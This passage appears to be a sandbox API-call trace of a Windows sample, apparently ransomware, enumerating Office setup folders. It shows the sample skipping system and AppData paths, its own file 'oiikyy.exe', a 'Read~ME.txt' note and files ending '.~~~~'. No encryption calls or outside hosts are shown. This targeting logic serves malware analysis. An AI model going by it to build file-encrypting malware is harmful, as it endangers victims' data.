	[0076.271] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.271] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.271] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.271] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.271] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.271] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.271] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.271] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.271] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0076.271] lstrcmpiW (lpString1="Proof.XML", lpString2="Windows") returned -1
	[0076.271] lstrcmpW (lpString1="Proof.XML", lpString2="oiikyy.exe") returned 1
	[0076.271] StrStrW (lpFirst="Proof.XML", lpSrch=".~~~~") returned 0x0
	[0076.271] lstrcmpW (lpString1="Proof.XML", lpString2="Read~ME.txt") returned -1
	[0076.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x3faef0
	[0076.271] GetCurrentThreadId () returned 0x618
	[0076.271] RtlWakeConditionVariable () returned 0x365f48
	[0076.271] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0076.272] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.272] GetCurrentThreadId () returned 0x618
	[0076.272] RtlWakeConditionVariable () returned 0x365f48
	[0076.272] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Proof.fr", cAlternateFileName="")) returned 1
	[0076.272] lstrcmpiW (lpString1="Proof.fr", lpString2="Windows") returned -1
	[0076.272] lstrcmpW (lpString1="Proof.fr", lpString2=".") returned 1
	[0076.272] lstrcmpW (lpString1="Proof.fr", lpString2="..") returned 1
	[0076.272] lstrcmpW (lpString1="Proof.fr", lpString2="AppData") returned 1
	[0076.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr", lpSrch="AppData") returned 0x0
	[0076.272] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.272] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr", lpString2="C:\\Windows") returned -1
	[0076.272] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.272] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr", lpString2="C:\\System Volume Information") returned -1
	[0076.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.273] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.273] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.273] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.273] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.273] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.273] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.273] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.273] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.273] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.273] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.273] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.273] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.273] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0076.274] lstrcmpiW (lpString1="Proof.XML", lpString2="Windows") returned -1
	[0076.274] lstrcmpW (lpString1="Proof.XML", lpString2="oiikyy.exe") returned 1
	[0076.274] StrStrW (lpFirst="Proof.XML", lpSrch=".~~~~") returned 0x0
	[0076.274] lstrcmpW (lpString1="Proof.XML", lpString2="Read~ME.txt") returned -1
	[0076.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x3faef0
	[0076.274] GetCurrentThreadId () returned 0x618
	[0076.274] RtlWakeConditionVariable () returned 0x365f48
	[0076.274] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0076.274] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.274] GetCurrentThreadId () returned 0x618
	[0076.274] RtlWakeConditionVariable () returned 0x365f48
	[0076.274] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1
	[0076.274] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Windows") returned -1
	[0076.274] lstrcmpW (lpString1="Proofing.en-us", lpString2=".") returned 1
	[0076.274] lstrcmpW (lpString1="Proofing.en-us", lpString2="..") returned 1
	[0076.274] lstrcmpW (lpString1="Proofing.en-us", lpString2="AppData") returned 1
	[0076.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us", lpSrch="AppData") returned 0x0
	[0076.274] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.274] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us", lpString2="C:\\Windows") returned -1
	[0076.274] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.274] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us", lpString2="C:\\System Volume Information") returned -1
	[0076.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.275] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.275] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.275] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.275] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.275] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.275] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.275] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.275] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.275] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.275] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.275] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.275] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.275] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proofing.XML", cAlternateFileName="")) returned 1
	[0076.275] lstrcmpiW (lpString1="Proofing.XML", lpString2="Windows") returned -1
	[0076.275] lstrcmpW (lpString1="Proofing.XML", lpString2="oiikyy.exe") returned 1
	[0076.275] StrStrW (lpFirst="Proofing.XML", lpSrch=".~~~~") returned 0x0
	[0076.275] lstrcmpW (lpString1="Proofing.XML", lpString2="Read~ME.txt") returned -1
	[0076.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.275] GetCurrentThreadId () returned 0x618
	[0076.275] RtlWakeConditionVariable () returned 0x365f48
	[0076.275] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.275] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0076.275] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0076.275] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0076.275] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0076.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.276] GetCurrentThreadId () returned 0x618
	[0076.276] RtlWakeConditionVariable () returned 0x365f48
	[0076.276] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.276] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.276] GetCurrentThreadId () returned 0x618
	[0076.276] RtlWakeConditionVariable () returned 0x365f48
	[0076.276] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="PROPLUSR", cAlternateFileName="")) returned 1
	[0076.276] lstrcmpiW (lpString1="PROPLUSR", lpString2="Windows") returned -1
	[0076.276] lstrcmpW (lpString1="PROPLUSR", lpString2=".") returned 1
	[0076.276] lstrcmpW (lpString1="PROPLUSR", lpString2="..") returned 1
	[0076.276] lstrcmpW (lpString1="PROPLUSR", lpString2="AppData") returned 1
	[0076.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR", lpSrch="AppData") returned 0x0
	[0076.276] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.276] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR", lpString2="C:\\Windows") returned -1
	[0076.276] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.276] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR", lpString2="C:\\System Volume Information") returned -1
	[0076.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.282] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.282] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.282] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.282] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.282] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.282] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.282] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.282] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.282] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.282] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.282] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.282] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.282] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1
	[0076.282] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="Windows") returned -1
	[0076.282] lstrcmpW (lpString1="ProPlusrWW.XML", lpString2="oiikyy.exe") returned 1
	[0076.282] StrStrW (lpFirst="ProPlusrWW.XML", lpSrch=".~~~~") returned 0x0
	[0076.282] lstrcmpW (lpString1="ProPlusrWW.XML", lpString2="Read~ME.txt") returned -1
	[0076.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.282] GetCurrentThreadId () returned 0x618
	[0076.282] RtlWakeConditionVariable () returned 0x365f48
	[0076.282] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.282] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0076.282] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0076.282] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0076.282] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0076.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x3faef0
	[0076.282] GetCurrentThreadId () returned 0x618
	[0076.283] RtlWakeConditionVariable () returned 0x365f48
	[0076.283] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.283] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.283] GetCurrentThreadId () returned 0x618
	[0076.283] RtlWakeConditionVariable () returned 0x365f48
	[0076.283] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1
	[0076.283] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Windows") returned -1
	[0076.283] lstrcmpW (lpString1="Publisher.en-us", lpString2=".") returned 1
	[0076.283] lstrcmpW (lpString1="Publisher.en-us", lpString2="..") returned 1
	[0076.283] lstrcmpW (lpString1="Publisher.en-us", lpString2="AppData") returned 1
	[0076.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us", lpSrch="AppData") returned 0x0
	[0076.283] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.283] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us", lpString2="C:\\Windows") returned -1
	[0076.283] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.283] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us", lpString2="C:\\System Volume Information") returned -1
	[0076.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.284] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.284] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.284] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.284] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.284] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.284] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.284] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.285] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.285] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.285] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.285] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.285] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.285] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1
	[0076.285] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="Windows") returned -1
	[0076.285] lstrcmpW (lpString1="PublisherMUI.XML", lpString2="oiikyy.exe") returned 1
	[0076.285] StrStrW (lpFirst="PublisherMUI.XML", lpSrch=".~~~~") returned 0x0
	[0076.285] lstrcmpW (lpString1="PublisherMUI.XML", lpString2="Read~ME.txt") returned -1
	[0076.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3faef0
	[0076.285] GetCurrentThreadId () returned 0x618
	[0076.285] RtlWakeConditionVariable () returned 0x365f48
